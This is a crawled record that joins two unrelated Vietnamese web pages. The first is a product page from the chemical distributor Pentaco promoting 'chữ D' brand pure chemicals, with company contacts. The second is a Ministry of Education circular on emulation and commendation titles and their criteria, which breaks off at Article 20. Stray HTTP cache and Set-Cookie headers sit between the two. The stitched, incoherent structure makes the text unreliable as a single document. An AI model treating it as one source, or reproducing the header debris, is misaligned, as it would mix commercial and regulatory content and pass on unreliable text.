markdown:
Hóa chất tinh khiết chữ D
Cùng với thương hiệu Xilong, chữ D cũng là một trong những thương hiệu hóa chất tinh khiết nổi tiếng.
S005309
Hóa chất tinh khiết Trung Quốc Số lượng: 1
![ Hóa chất tinh khiết chữ D](http://pentacovietnam.com/files/shops/2015_11/1.png)
Cùng với thương hiệu Xilong, chữ D cũng là một trong những thương hiệu hóa chất tinh khiết nổi tiếng. Tại thị trường Việt Nam, Pentaco tự hào là một đại lý lớn của Chữ D với thâm niên gần 20 năm. Chúng tôi luôn cố gắng đáp ứng đầy đủ các chủng loại hóa chất của Chữ D với giá cả cạnh tranh nhất. Để có thông tin cập nhật về giá và lượng hàng tồn kho của từng mặt hàng,
Email:
** CÔNG TY CỔ PHẦN PENTACO VIỆT NAM**
Địa chỉ :Số 14 , Phố Hoàng Như Tiếp, Phường Bồ Đề, Long Biên, Hà Nội
Điện thoại: 04-62614222- Fax:04-62614234
Email:
[pentacovietnam@gmail.com](mailto:pentacovietnam@gmail.com)– Web: [pentacovietnam.com]
**PENTACO VIỆT NAM trân trọng cảm ơn Quý khách hàng đã quan tâm đến sản phẩm của chúng tôi và rất hân hạnh được phục vụ !!!**
Bạn cần đăng nhập thành viên để có thể bình luận bài viết này
Sản phẩm cùng loại
Hỗ trợ trực tuyến
**Hỗ trợ khách hàng** **Hotline: 0975 694 660** **Hóa chất Công nghiệp**
Mr Kiên: 0904 790 251
Mr. Hữu: 093 444 7718
**Hóa chất, dụng cụ và thiết bị phòng thí nghiệm**
Mr Thái: 0946 14 12 91
Mr. Hữu: 093 444 7718
Công nghệ
Thống kê truy cập
![ anhhoachatcongnghiep](/uploads/anhhoachatcongnghiep.jpg)
Danh mục sản phẩm
Tin tức
TIn tức mới
Video
![ hoachat1 1440665807899 KLNH](/uploads/hoachat1-1440665807899_klnh.png)

Cache-Control: private, pre-check=0, post-check=0, max-age=0

Set-Cookie: nv3c_Dditi_statistic_vi=EdULAZT9Xoe_Pa4DufBz0BYm3rKRnR9CU8n_LjZonzI.; expires=Thu, 21-Jun-2018 18:26:23 GMT; path=/; domain=.pentacovietnam.com; httponly


markdown:
|
| BỘ GIÁO DỤC VÀ ĐÀO TẠO-----------------------------
Số:
|
|
---------------------------------
**THÔNG TƯ** **Hướng dẫn công tác thi đua, khen thưởng trong ngành Giáo dục**
-----------------------------------------
Căn cứ Luật Thi đua, Khen thưởng ngày 26 tháng 11 năm 2003; Luật sửa đổi, bổ sung một số điều của Luật Thi đua, Khen thưởng ngày 14 tháng 6 năm 2005;
Căn cứ Luật Giáo dục ngày 14 tháng 6 năm 2005; Luật sửa đổi, bổ sung một số điều của Luật Giáo dục ngày 25 tháng 11 năm 2009;
Căn cứ Nghị định số 32/2008/NĐ-CP ngày 19 tháng 3 năm 2008 của Chính phủ quy định chức năng, nhiệm vụ, quyền hạn và cơ cấu tổ chức của Bộ Giáo dục và Đào tạo;
Căn cứ Nghị định số 42/2010/NĐ-CP ngày 15 tháng 4 năm 2010 của Chính phủ quy định chi tiết thi hành một số điều của Luật Thi đua, Khen thưởng và Luật sửa đổi, bổ sung một số điều của Luật Thi đua, Khen thưởng;
Căn cứ Thông tư số 02/2011/TT-BNV ngày 24 tháng 01 năm 2011 của Bộ Nội vụ hướng dẫn thực hiện Nghị định số 42/2010/NĐ-CP ngày 15 tháng 4 năm 2010 của Chính phủ quy định chi tiết thi hành một số điều của Luật Thi đua, Khen thưởng và Luật sửa đổi, bổ sung một số điều của Luật Thi đua, Khen thưởng;
Bộ trưởng Bộ Giáo dục và Đào tạo hướng dẫn công tác thi đua, khen thưởng trong ngành Giáo dục như sau:
**Chương I** **QUY ĐỊNH CHUNG** **Điều 1. Phạm vi điều chỉnh**
- Thông tư này hướng dẫn công tác thi đua, khen thưởng trong ngành Giáo dục bao gồm: Tổ chức phát động phong trào thi đua; hình thức và tiêu chuẩn danh hiệu thi đua; hình thức và tiêu chuẩn khen thưởng; thẩm quyền quyết định, trao tặng các danh hiệu thi đua và các hình thức khen thưởng; thủ tục và hồ sơ đề nghị công nhận danh hiệu thi đua, hình thức khen thưởng; Hội đồng thi đua, khen thưởng, Hội đồng Khoa học, sáng kiến các cấp; qũy thi đua, khen thưởng.
- Thông tư này không quy định về tiêu chuẩn, thủ tục, hồ sơ xét tặng Kỷ niệm chương “Vì sự nghiệp giáo dục” và danh hiệu “Nhà giáo Nhân dân”, “Nhà giáo Ưu tú”.
- Công tác thi đua, khen thưởng trong ngành Giáo dục được thực hiện theo quy định của Luật Thi đua, Khen thưởng; Nghị định số 42/2010/NĐ-CP ngày 15 tháng 4 năm 2010 của Chính phủ, quy định chi tiết thi hành một số điều của Luật Thi đua, khen thưởng và Luật sửa đổi, bổ sung một số điều của Luật Thi đua, Khen thưởng; Thông tư số 02/2011/TT - BNV ngày 24 tháng 01 năm 2011 của Bộ Nội vụ hướng dẫn thực hiện Nghị định số 42/2010/NĐ - CP; Thông tư này và các quy định có liên quan.
**Điều 2.** **Đối tượng áp dụng**
- Đối tượng thi đua gồm:
- a) Các Cục, Vụ, Thanh tra, Văn phòng, Cơ quan đại diện của Bộ tại Thành phố Hồ Chí Minh;
- b) Các cơ sở giáo dục do Bộ Giáo dục và Đào tạo quản lý trực tiếp;
- c) Các doanh nghiệp, đơn vị sự nghiệp trực thuộc Bộ Giáo dục và Đào tạo;
- d) Các cơ sở giáo dục mầm non, phổ thông, giáo dục thường xuyên, giáo dục nghề nghiệp, giáo dục đại học không do Bộ Giáo dục và Đào tạo quản lý trực tiếp;
đ) Các sở giáo dục và đào tạo, phòng giáo dục và đào tạo;
- e) Tập thể nhỏ thuộc các đơn vị quy định tại các điểm a, b, c, d, đ của khoản này bao gồm các khoa, phòng và bộ môn có tổ chức đoàn thể riêng trong các trường đại học, cao đẳng;
- g) Cán bộ, công chức, viên chức và người lao động đang làm việc hoặc đang trong thời gian tập sự; người làm hợp đồng không xác định thời hạn và hợp đồng từ 01 năm trở lên thuộc các tập thể quy định tại điểm a, b, c, d, đ, e của khoản này (gọi chung là công chức, viên chức, người lao động).
- Đối tượng khen thưởng bao gồm:
- a) Các đối tượng quy định tại khoản 1 Điều này (gọi chung là đối tượng trong ngành Giáo dục);
- b) Các tập thể, cá nhân không công tác trong ngành Giáo dục có thành tích xuất sắc, công lao đóng góp phát triển sự nghiệp giáo dục - đào tạo của đất nước.
- Quy định xét thi đua đối với một số trường hợp đặc biệt
- a) Đối tượng nữ nghỉ thai sản theo chế độ quy định của Nhà nước; những người có hành động dũng cảm cứu người, cứu tài sản; những người trong chiến đấu, phục vụ chiến đấu do bị thương tích cần điều trị, điều dưỡng theo kết luận của cơ quan y tế, thì thời gian nghỉ vẫn được tính để xem xét tặng danh hiệu “Lao động tiên tiến”;
- b) Các cá nhân được cử đi học, bồi dưỡng ngắn hạn dưới 01 năm, nếu đạt kết quả từ loại khá trở lên, chấp hành tốt quy định của cơ sở đào tạo, bồi dưỡng thì kết hợp với thời gian công tác tại cơ quan, đơn vị để bình xét danh hiệu thi đua. Các trường hợp được cử đi học, bồi dưỡng từ 01 năm trở lên, có kết quả học tập từ loại khá trở lên thì năm đó được xếp tương đương danh hiệu “Lao động tiên tiến” để làm căn cứ xét tặng các danh hiệu thi đua và hình thức khen thưởng khác;
- c) Đối với cá nhân thuyên chuyển công tác thì đơn vị mới có trách nhiệm bình xét danh hiệu thi đua, trường hợp công tác tại đơn vị cũ từ 6 tháng trở lên thì đơn vị mới cần lấy ý kiến nhận xét của đơn vị cũ;
- d) Không bình xét thi đua các trường hợp mới tuyển dụng dưới 10 tháng; nghỉ việc từ 40 ngày làm việc trở lên; kỷ luật từ khiển trách trở lên.
**Điều 3. Nguyên tắc thi đua, khen thưởng**
- Nguyên tắc thi đua
Nguyên tắc thi đua được thực hiện theo quy định tại khoản 1 Điều 6 của Luật Thi đua, Khen thưởng; Điều 3 của Nghị định số 42/2010/NĐ- CP của Chính phủ, cụ thể như sau:
- a) Tự nguyện, tự giác, công khai; đảm bảo tinh thần đoàn kết, hợp tác cùng phát triển;
- b) Việc xét tặng các danh hiệu thi đua phải căn cứ vào kết quả phong trào thi đua;
- c) Không bình xét thi đua các cá nhân, tập thể không đăng ký thi đua hoặc đăng ký thi đua không đúng thủ tục, thời hạn.
- Nguyên tắc khen thưởng
Nguyên tắc khen thưởng được thực hiện theo quy định tại khoản 2 Điều 6 của Luật Thi đua, Khen thưởng; Điều 4 của Nghị định số 42/2010/NĐ- CP của Chính phủ, cụ thể như sau:
- a) Chính xác, công khai, dân chủ, công bằng và kịp thời trên cơ sở đánh giá đúng hiệu quả công tác của các tập thể, cá nhân; hình thức khen thưởng phải đảm bảo tương đương với thành tích đạt được, không nhất thiết phải khen theo trình tự có hình thức khen thưởng mức thấp rồi mới được khen thưởng mức cao hơn; thành tích đạt được trong điều kiện khó khăn và có phạm vi ảnh hưởng lớn thì được xem xét, đề nghị khen thưởng với mức cao hơn; một hình thức khen thưởng có thể tặng nhiều lần cho một đối tượng;
- b) Kết hợp chặt chẽ động viên tinh thần với khuyến khích bằng lợi ích vật chất;
- c) Chú trọng khen thưởng tập thể nhỏ và cá nhân, đặc biệt quan tâm tới người lao động, người trực tiếp giảng dạy, người công tác tại các vùng khó khăn.
** Điều 4.** **Quyền hạn và** ** trách nhiệm trong công tác thi đua, khen thưởng**
- Bộ trưởng Bộ Giáo dục và Đào tạo tổ chức phát động, chỉ đạo phong trào thi đua trong ngành Giáo dục, lựa chọn các tập thể, cá nhân có thành tích xứng đáng để khen thưởng hoặc đề nghị khen thưởng; quyết định tặng danh hiệu thi đua, hình thức khen thưởng theo thẩm quyền hoặc trình cấp có thẩm quyền xét tặng danh hiệu thi đua, hình thức khen thưởng theo quy định của pháp luật và chịu trách nhiệm về công tác thi đua, khen thưởng trong ngành Giáo dục.
- Đơn vị chuyên trách công tác thi đua, khen thưởng thuộc Bộ Giáo dục và Đào tạo, các Sở giáo dục và đào tạo, các cơ sở giáo dục và các đơn vị liên quan căn cứ vào nhiệm vụ, chỉ tiêu cụ thể của kế hoạch công tác hàng năm và dài hạn về công tác thi đua, khen thưởng để tham mưu, đề xuất với lãnh đạo cùng cấp về chủ trương, nội dung, chương trình, kế hoạch, biện pháp thi đua; tổ chức và kiểm tra các phong trào thi đua, công tác khen thưởng; tham mưu sơ kết, tổng kết các phong trào thi đua, nhân rộng điển hình tiên tiến, đề xuất khen thưởng và kiến nghị đổi mới công tác thi đua, khen thưởng.
- 3. Thủ trưởng các cơ quan, đơn vị quy định tại điểm a, b, c, d, đ khoản 1 Điều 2 của Thông tư này chủ động phối hợp với tổ chức đoàn thể cùng cấp chỉ đạo, tổ chức phát động và duy trì thường xuyên các phong trào thi đua trong phạm vi quản lý; chủ động phát hiện, lựa chọn các tập thể, cá nhân có thành tích xuất sắc để khen thưởng hoặc đề nghị cấp có thẩm quyền khen thưởng.
- 4. Các cơ quan thông tin, báo chí, xuất bản thuộc Bộ Giáo dục và Đào tạo, Sở giáo dục và đào tạo, các cơ sở giáo dục có trách nhiệm thường xuyên tuyên truyền công tác thi đua, khen thưởng; phổ biến, nêu gương các điển hình tiên tiến, gương người tốt, việc tốt trong các phong trào thi đua; đấu tranh, phê phán các hành vi vi phạm pháp luật về thi đua, khen thưởng trong ngành Giáo dục.
** Điều 5. Quyền lợi và trách nhiệm của cá nhân, tập thể được khen thưởng**
- Cá nhân được tặng các danh hiệu thi đua, các hình thức khen thưởng được cấp giấy khen, bằng khen, giấy chứng nhận và tiền thưởng hoặc hiện vật theo quy định; được hưởng các chế độ ưu tiên theo quy định của Bộ Nội vụ.
- Tập thể được tặng các danh hiệu thi đua, các hình thức khen thưởng được cấp giấy khen, bằng khen, giấy chứng nhận và tiền thưởng theo quy định; được lưu giữ, trưng bày hiện vật khen thưởng, được kê khai thành tích trong các văn bản, tài liệu của cơ quan, đơn vị.
- Cá nhân, tập thể được công nhận các danh hiệu thi đua, các hình thức khen thưởng có trách nhiệm phát huy thành tích đạt được, tiếp tục phấn đấu để đạt danh hiệu thi đua và hình thức khen thưởng cao hơn.
**Điều 6. Khối thi đua, cụm (vùng) thi đua**
- Hàng năm vào đầu năm học, căn cứ hướng dẫn của Hội đồng Thi đua, Khen thưởng Trung ương và Chỉ thị về nhiệm vụ trọng tâm, Bộ trưởng Bộ Giáo dục và Đào tạo ban hành văn bản quy định thành lập các khối, cụm (vùng) thi đua, hình thức tổ chức hoạt động và phương thức đánh giá, bình xét thi đua của các khối, cụm (vùng) thi đua.
- Khối thi đua bao gồm các đơn vị có chức năng, nhiệm vụ gần giống nhau được tổ chức để hoạt động thi đua, học tập, trao đổi kinh nghiệm, phấn đấu hoàn thành tốt chức năng, nhiệm vụ được giao;
- Cụm (vùng) thi đua bao gồm các đơn vị có tính chất công việc, điều kiện kinh tế xã hội, yếu tố địa lý gần giống nhau được tổ chức để hoạt động thi đua, học tập, trao đổi kinh nghiệm, phấn đấu hoàn thành tốt chức năng, nhiệm vụ được giao;
- Vào dịp tổng kết năm học hàng năm, Hội đồng Thi đua - Khen thưởng ngành Giáo dục căn cứ vào kết quả đánh giá, xếp hạng của các khối, cụm (vùng) thi đua và kết quả thực hiện nhiệm vụ trọng tâm trong năm học của các đơn vị để tiến hành bỏ phiếu, xét chọn đề nghị Bộ trưởng tặng Cờ thi đua của Bộ và Bằng khen cho các đơn vị tiêu biểu trong các khối, cụm (vùng) thi đua. Việc xét chọn được tiến hành công khai, công bằng, dân chủ tôn trọng sự lựa chọn của khối, cụm (vùng), đảm bảo được chức năng quản lý nhà nước của Bộ Giáo dục và Đào tạo.
- Chức năng, nhiệm vụ của Khối, cụm (vùng) thi đua
- a) Tổ chức phát động, ký giao ước thi đua thực hiện phong trào thi đua do Bộ phát động, đề xuất cụ thể chỉ tiêu, nội dung, biện pháp xây dựng phong trào thi đua trong khối, cụm (vùng) phát triển mạnh mẽ, rộng khắp, đúng hướng và có hiệu quả;
- b) Sơ kết, tổng kết phong trào thi đua, đề ra phương hướng, nhiệm vụ tổ chức phong trào thi đua, trao đổi học tập kinh nghiệm xây dựng điển hình tiên tiến trong khối, cụm (vùng) thi đua;
- c) Đánh giá, xếp hạng các đơn vị trong khối, cụm (vùng) thi đua theo quy định; bình chọn, suy tôn xếp thứ tự các đơn vị có thành tích xuất sắc tiêu biểu theo thứ tự thứ Nhất, Nhì, Ba và báo cáo về Hội đồng Thi đua - Khen thưởng ngành trình Bộ trưởng xét duyệt tặng “ Cờ thi đua của Bộ” và Bằng khen của Bộ trưởng;
- d) Thực hiện các nhiệm vụ khác Bộ trưởng giao.
**Chương II** **TỔ CHỨC PHÁT ĐỘNG PHONG TRÀO THI ĐUA** **HÌNH THỨC VÀ TIÊU CHUẨN DANH HIỆU THI ĐUA** **Điều 7. Hình thức, nội dung tổ chức phong trào thi đua**
- Hình thức, nội dung tổ chức phong trào thi đua được thực hiện theo quy định tại Điều 6, Điều 7 Nghị định 42/2010/NĐ-CP và điểm 1 Mục 1 Thông tư số 02/2011/TT- BNV
- Phát động phong trào thi đua
- a) Hàng năm Bộ trưởng phát động phong trào thi đua thường xuyên, thi đua theo đợt hoặc theo chuyên đề trong toàn ngành Giáo dục;
- b) Thủ trưởng các đơn vị thuộc Bộ, Giám đốc các sở giáo dục và đào tạo phối hợp với công đoàn giáo dục các cấp căn cứ nội dung phong trào thi đua do Bộ trưởng phát động và điều kiện, đặc điểm cụ thể của các cơ sở giáo dục, để xây dựng, tổ chức thực hiện kế hoạch thi đua thường xuyên, thi đua theo đợt hoặc theo chuyên đề tổ chức phát động phong trào thi đua đối với cá nhân, tập thể thuộc phạm vi quản lý;
- c) Hình thức tổ chức phát động thi đua phải thiết thực, đa dạng có sức lôi cuốn được nhiều đối tượng tham gia; coi trọng công tác tuyên truyền về nội dung ý nghĩa của phong trào thi đua, phát huy tinh thần trách nhiệm, ý thức tự giác của cán bộ, công chức, viên chức và người lao động. Trường hợp cá nhân, tập thể hoàn thành vượt mức chỉ tiêu kế hoạch thi đua thì được biểu dương, đề nghị khen thưởng kịp thời.
**Điều 8. Đăng ký danh hiệu thi đua, ký giao ước thi đua**
- Các cơ quan, đơn vị quy định tại điểm a, b, c khoản 1 Điều 2 của Thông tư này tổ chức cho cá nhân, tập thể đăng ký thi đua và gửi bản đăng ký thi đua của tập thể, cá nhân về Bộ Giáo dục và Đào tạo trước ngày 31 tháng 01 hàng năm đối với các đơn vị xét thi đua theo năm công tác, trước ngày 30 tháng 10 hàng năm đối với các đơn vị xét thi đua theo năm học.
- Đối với các đối tượng quy định tại điểm d, đ khoản 1 Điều 2 của Thông tư này, Thủ trưởng đơn vị tổ chức cho các cá nhân, tập thể đăng ký thi đua trước ngày 30 tháng 10 hàng năm và gửi bản đăng ký thi đua về cơ quan có thẩm quyền quyết định công nhận danh hiệu thi đua, hình thức khen thưởng.
- Căn cứ vào nội dung phong trào thi đua do Bộ trưởng phát động, các khối, cụm (vùng) thi đua tổ chức để các đơn vị ký giao ước thi đua và gửi kế hoạch hoạt động, nội dung ký cam kết thi đua về đơn vị chuyên trách công tác thi đua, khen thưởng thuộc Bộ Giáo dục và Đào tạo theo quy định hàng năm.
**Điều 9. Các danh hiệu thi đua **
- Danh hiệu thi đua đối với cá nhân gồm:
- a) Lao động tiên tiến;
- b) Chiến sỹ thi đua cơ sở;
- c) Chiến sỹ thi đua cấp Bộ;
- d) Chiến sỹ thi đua toàn quốc.
- Danh hiệu thi đua đối với tập thể gồm:
- a) Tập thể lao động tiên tiến;
- b) Tập thể lao động xuất sắc;
- c) Cờ thi đua của Bộ Giáo dục và Đào tạo;
- d) Cờ thi đua của Chính phủ.
**Điều 10. Danh hiệu “Lao động tiên tiến”**
- Tiêu chuẩn chung
- a) Hoàn thành tốt nhiệm vụ được giao, đạt năng suất và chất lượng cao;
- b) Chấp hành tốt nội quy, quy định của cơ quan, đơn vị và chủ trương, chính sách của Đảng, pháp luật của Nhà nước; có tinh thần khắc phục khó khăn để hoàn thành nhiệm vụ; đoàn kết, tương trợ giúp đỡ đồng nghiệp; tích cực tham gia các phong trào thi đua;
- c) Tích cực học tập nâng cao trình độ chuyên môn, nghiệp vụ;
- d) Có đạo đức tốt, lối sống lành mạnh.
- Tiêu chuẩn cụ thể đối với các đối tượng
- a) Đối với nhà giáo giảng dạy trong các cơ sở giáo dục mầm non, giáo dục phổ thông, các cơ sở giáo dục thường xuyên, cơ sở giáo dục nghề nghiệp: Tích cực tham gia các phong trào thi đua; có ý thức học tập nâng cao trình độ chuyên môn, nghiệp vụ; thực hiện nghiêm túc quy định về soạn bài, kiểm tra đánh giá học sinh, lên lớp, quản lý hồ sơ sổ sách; tổ chức quản lý tốt học sinh, quan tâm giáo dục học sinh cá biệt, giúp đỡ học sinh có hoàn cảnh khó khăn; được đánh giá loại khá trở lên theo chuẩn nghề nghiệp hoặc loại khá trở lên theo chuẩn hiệu trưởng, chuẩn giám đốc trung tâm giáo dục thường xuyên;
- b) Đối với giảng viên giảng dạy ở các cơ sở giáo dục đại học: Tích cực tham gia các phong trào thi đua; thực hiện đủ khối lượng, nội dung kiến thức của môn học theo quy định hiện hành, giảng dạy theo đúng lịch trình của khoa, trường; bài giảng đảm bảo tính chính xác, cập nhật được những thông tin, thành tựu khoa học mới, rèn luyện được kỹ năng phẩm chất nghề nghiệp cho sinh viên; hướng dẫn sinh viên hoàn thành đúng thời hạn tiểu luận, bài tập lớn, khóa luận, đồ án, luận văn tốt nghiệp;
- c) Đối với công chức, viên chức, người lao động trong các cơ quan đơn vị: Hoàn thành tốt nhiệm vụ được giao; có tinh thần tương trợ đồng nghiệp; tích cực học tập chính trị, văn hóa, chuyên môn nghiệp vụ; có ý thức trong việc cải tiến lề lối làm việc, cải cách thủ tục hành chính, nâng cao năng suất lao động.
- 3. Danh hiệu “Lao động tiên tiến” được xét tặng hàng năm.
**Điều 11. Danh hiệu “Chiến sỹ thi đua cơ sở”**
- Tiêu chuẩn chung
- a) Đạt danh hiệu “Lao động tiên tiến”;
- b) Có sáng kiến cải tiến kỹ thuật hoặc giải pháp công tác, hoặc áp dụng quy trình mới để cải cách thủ tục hành chính, tăng năng suất lao động, tăng hiệu quả công tác của cơ quan, đơn vị được Hội đồng xét duyệt sáng kiến cấp có thẩm quyền công nhận, hoặc chủ trì đề tài nghiên cứu khoa học từ cấp cơ sở đã được đánh giá nghiệm thu.
- 2. Tiêu chuẩn cụ thể về sáng kiến, cải tiến đối với các đối tượng
- a) Đối với giáo viên mầm non, tiểu học, trung học cơ sở: Có sáng kiến, cải tiến để nâng cao chất lượng giảng dạy hoặc giáo dục học sinh, được Hội đồng khoa học, sáng kiến ngành giáo dục huyện đánh giá, xếp loại hoặc đạt giải trong các kỳ thi giáo viên dạy giỏi cấp huyện;
- b) Đối với giáo viên tại các cơ sở giáo dục do sở giáo dục và đào tạo quản lý toàn diện: Có sáng kiến, cải tiến để nâng cao chất lượng giảng dạy hoặc giáo dục học sinh, được Hội đồng Khoa học, sáng kiến ngành giáo dục tỉnh đánh giá xếp loại hoặc đạt giải trong các kỳ thi giáo viên dạy giỏi cấp tỉnh;
- c) Đối với giáo viên tại các cơ sở giáo dục nghề nghiệp: Có sáng kiến, cải tiến kỹ thuật được Hội đồng Khoa học, sáng kiến cấp trường công nhận và được áp dụng trong thực tiễn hoặc đạt giải trong các kỳ thi giáo viên dạy giỏi của trường trở lên;
- d) Đối với giảng viên giảng dạy tại các cơ sở giáo dục đại học: Có sáng kiến cải tiến kỹ thuật hoặc áp dụng công nghệ mới vào giảng dạy nhằm đổi mới nội dung, phương pháp giảng dạy nâng cao hiệu quả đào tạo hoặc có đề tài nghiên cứu khoa học được Hội đồng Khoa học, sáng kiến cấp trường xếp loại khá trở lên và được áp dụng trong quá trình đào tạo, sản xuất đem lại hiệu quả thiết thực hoặc đạt giải trong các kỳ thi giảng viên dạy giỏi của trường;
đ) Đối với công chức, viên chức, người lao động trong cơ quan đơn vị: Có sáng kiến cải tiến nâng cao hiệu quả công tác được Hội đồng khoa học, sáng kiến cấp cơ sở đánh giá loại khá trở lên hoặc chủ trì soạn thảo văn bản quy phạm pháp luật đảm bảo chất lượng và đúng tiến độ;
- e) Đối với cán bộ quản lý là cấp trưởng hoặc cấp phó: Đạt tiêu chuẩn tại điểm đ khoản 2 Điều 11 Thông tư này và đơn vị do cán bộ đó quản lý, chỉ đạo phải đạt danh hiệu Tập thể lao động tiên tiến;
- 3. Danh hiệu “Chiến sỹ thi đua cơ sở” được xét tặng hàng năm.
**Điều 12. Danh hiệu “Chiến sỹ thi đua cấp Bộ”**
- Danh hiệu “Chiến sỹ thi đua cấp Bộ” được xét tặng cho cá nhân đạt các tiêu chuẩn sau:
- a) Có thành tích xuất sắc, tiêu biểu trong số những cá nhân có 03 lần liên tục đạt danh hiệu “Chiến sỹ thi đua cơ sở” tính đến thời điểm đề nghị xét tặng;
- b) Có sáng kiến kinh nghiệm, hoặc giải pháp công tác mang lại hiệu quả có tác dụng ảnh hưởng tích cực đối với hoạt động của ngành được Hội đồng Khoa học, sáng kiến cấp Bộ công nhận, hoặc chủ trì đề tài nghiên cứu khoa học cấp Bộ đã được Hội đồng Khoa học, sáng kiến cấp Bộ đánh giá nghiệm thu hoặc chủ trì soạn thảo văn bản quy phạm pháp luật có tính chất chỉ đạo trong toàn ngành hoặc đạt giải nhất, nhì, ba trong các kỳ thi giáo viên dạy giỏi toàn quốc.
- Danh hiệu “Chiến sỹ thi đua cấp Bộ” được xét tặng hàng năm.
**Điều 13. Danh hiệu “Chiến sĩ thi đua toàn quốc”**
- Danh hiệu “Chiến sỹ thi đua toàn quốc” được xét tặng cho những cá nhân đạt các tiêu chuẩn sau:
- a) Cá nhân tiêu biểu xuất sắc trong số những cá nhân có 02 lần liên tục đạt danh hiệu “Chiến sĩ thi đua cấp Bộ”;
- b) Có sáng kiến cải tiến kỹ thuật hoặc giải pháp công tác hoặc đề tài nghiên cứu khoa học mang lại hiệu quả cao và có ảnh hưởng trong phạm vi toàn quốc được Hội đồng Khoa học, sáng kiến cấp Bộ công nhận, hoặc chủ trì đề tài, chương trình nghiên cứu khoa học cấp nhà nước đã được đánh giá nghiệm thu, hoặc chủ trì soạn thảo văn bản quy phạm pháp luật có hiệu quả cao trong toàn ngành.
- Danh hiệu “Chiến sỹ thi đua toàn quốc” được xét tặng hàng năm.
**Điều 14. Danh hiệu “Tập thể lao động tiên tiến”**
- Danh hiệu “Tập thể lao động tiên tiến” được xét tặng cho các tập thể đạt các tiêu chuẩn sau:
- a) Hoàn thành tốt nhiệm vụ và kế hoạch được giao;
- b) Có phong trào thi đua thường xuyên, thiết thực, có hiệu quả;
- c) Có trên 50% cá nhân đạt danh hiệu “Lao động tiên tiến” và không có cá nhân bị kỷ luật từ hình thức cảnh cáo trở lên;
- d) Nội bộ đoàn kết, chấp hành tốt chủ trương, chính sách của Đảng, pháp luật của Nhà nước.
- Danh hiệu “Tập thể lao động tiên tiến” được xét tặng hàng năm.
**Điều 15. Danh hiệu “Tập thể lao động xuất sắc”**
- Danh hiệu “Tập thể lao động xuất sắc” được xét tặng trong số các tập thể lao động tiên tiến đạt các tiêu chuẩn sau:
- a) Sáng tạo, vượt khó hoàn thành xuất sắc nhiệm vụ, thực hiện tốt nhiệm vụ được giao;
- b) Có phong trào thi đua thường xuyên, thiết thực, hiệu quả;
- c) Có 100% cá nhân trong tập thể hoàn thành nhiệm vụ được giao, trong đó có ít nhất 70% cá nhân đạt danh hiệu “Lao động tiên tiến”;
- d) Có cá nhân đạt danh hiệu “Chiến sỹ thi đua cơ sở” và không có cá nhân bị kỷ luật từ hình thức cảnh cáo trở lên;
đ) Nội bộ đoàn kết, gương mẫu chấp hành chủ trương, chính sách của Đảng và pháp luật của Nhà nước.
- 2. Danh hiệu “Tập thể lao động xuất sắc” được xét tặng hàng năm.
**Điều 16. Cờ thi đua của Bộ Giáo dục và Đào tạo**
- Cờ thi đua của Bộ Giáo dục và Đào tạo được xét tặng hàng năm theo năm học hoặc năm công tác cho các Tập thể lao động xuất sắc đạt các tiêu chuẩn sau:
- a) Hoàn thành vượt mức các chỉ tiêu thi đua và nhiệm vụ được giao trong năm; là tập thể tiêu biểu, xuất sắc của Ngành;
- b) Có nhân tố mới, mô hình mới để các tập thể khác học tập;
- c) Nội bộ đoàn kết, tích cực đổi mới quản lý, thực hành tiết kiệm, chống lãng phí, chống tham nhũng và các tệ nạn xã hội khác.
- Việc công nhận tập thể tiêu biểu, xuất sắc để tặng “Cờ thi đua của Bộ Giáo dục và Đào tạo” được thông qua bình xét, đánh giá, so sánh, suy tôn trong các khối thi đua, cụm (vùng) thi đua do Bộ Giáo dục và Đào tạo tổ chức.
- a) Đối với các sở giáo dục và đào tạo, đại học, học viện, trường đại học, cao đẳng: Căn cứ kết quả bình xét thi đua thực hiện các lĩnh vực công tác năm học, Bộ Giáo dục và Đào tạo quy định số lượng cụ thể và tổ chức trao thưởng tại Hội nghị tổng kết năm học;
- b) Đối với các cơ sở giáo dục mầm non, giáo dục phổ thông, giáo dục nghề nghiệp, giáo dục thường xuyên và các phòng giáo dục và đào tạo: Căn cứ kết quả bình xét thi đua thực hiện nhiệm vụ năm học ở các cụm (vùng) thi đua, Bộ Giáo dục và Đào tạo quy định tặng Cờ cho các đơn vị dẫn đầu trong các cụm (vùng) thi đua;
- c) Căn cứ vào tình hình thực tế hàng năm, đơn vị chuyên trách công tác thi đua khen thưởng nghiên cứu đề xuất trình Bộ trưởng Bộ Giáo dục và Đào tạo quy định cụ thể số lượng cờ tặng cho các đơn vị trong từng khối, cụm (vùng) thi đua.
**Điều 17. Cờ thi đua của Chính phủ**
- 1. Cờ thi đua của Chính phủ được xét tặng hàng năm, theo năm học hoặc theo năm công tác cho những tập thể tiêu biểu xuất sắc trong số các tập thể đạt các tiêu chuẩn sau:
- a) Có thành tích xuất sắc, hoàn thành vượt mức các chỉ tiêu thi đua và nhiệm vụ được giao trong năm; là tập thể tiêu biểu xuất sắc trong toàn quốc;
- b) Có nhân tố mới, mô hình mới tiêu biểu cho cả nước học tập;
- c) Nội bộ đoàn kết, đi đầu trong việc đổi mới quản lý, thực hành tiết kiệm, chống lãng phí, chống tham nhũng và các tệ nạn xã hội khác;
- 2. Tập thể được xét, tặng “Cờ thi đua của Chính phủ” được lựa chọn trong số các tập thể được xét tặng Cờ thi đua của Bộ Giáo dục và Đào tạo.
Số lượng đề nghị Thủ tướng Chính phủ xét, tặng “Cờ thi đua của Chính phủ” thực hiện theo điểm d khoản 2 Mục I Thông tư 02/2011/TT- BNV của Bộ Nội vụ.
**Chương III** **HÌNH THỨC VÀ TIÊU CHUẨN KHEN THƯỞNG ** **Điều 18. Hình thức khen thưởng**
Các hình thức khen thưởng được thực hiện theo quy định tại điểm 1 Mục II Thông tư 02/2011/TT- BNV của Bộ Nội vụ.
**Điều 19. Các hình thức và tiêu chuẩn khen thưởng cấp Nhà nước**
- Hình thức khen thưởng cấp Nhà nước bao gồm: Huân chương, Huy chương Hữu nghị, Danh hiệu vinh dự Nhà nước, Giải thưởng Hồ Chí Minh, Giải thưởng Nhà nước, Bằng khen của Thủ tướng Chính phủ.
- Tiêu chuẩn khen thưởng cấp Nhà nước thực hiện theo quy định tại Chương III Luật Thi đua, Khen thưởng; Chương III Nghị định số 42/2010/NĐ-CP ngày 15 tháng 4 năm 2010 của Chính phủ quy định chi tiết và hướng dẫn thi hành một số điều của Luật Thi đua, Khen thưởng và Luật sửa đổi, bổ sung một số điều của Luật Thi đua, Khen thưởng.
###### Điều 20. Các hình thức và tiêu chuẩn khen thưởng của Bộ Giáo dục và Đào tạo
- Bằng khen của Bộ trưởng Bộ Giáo dục và Đào tạo.
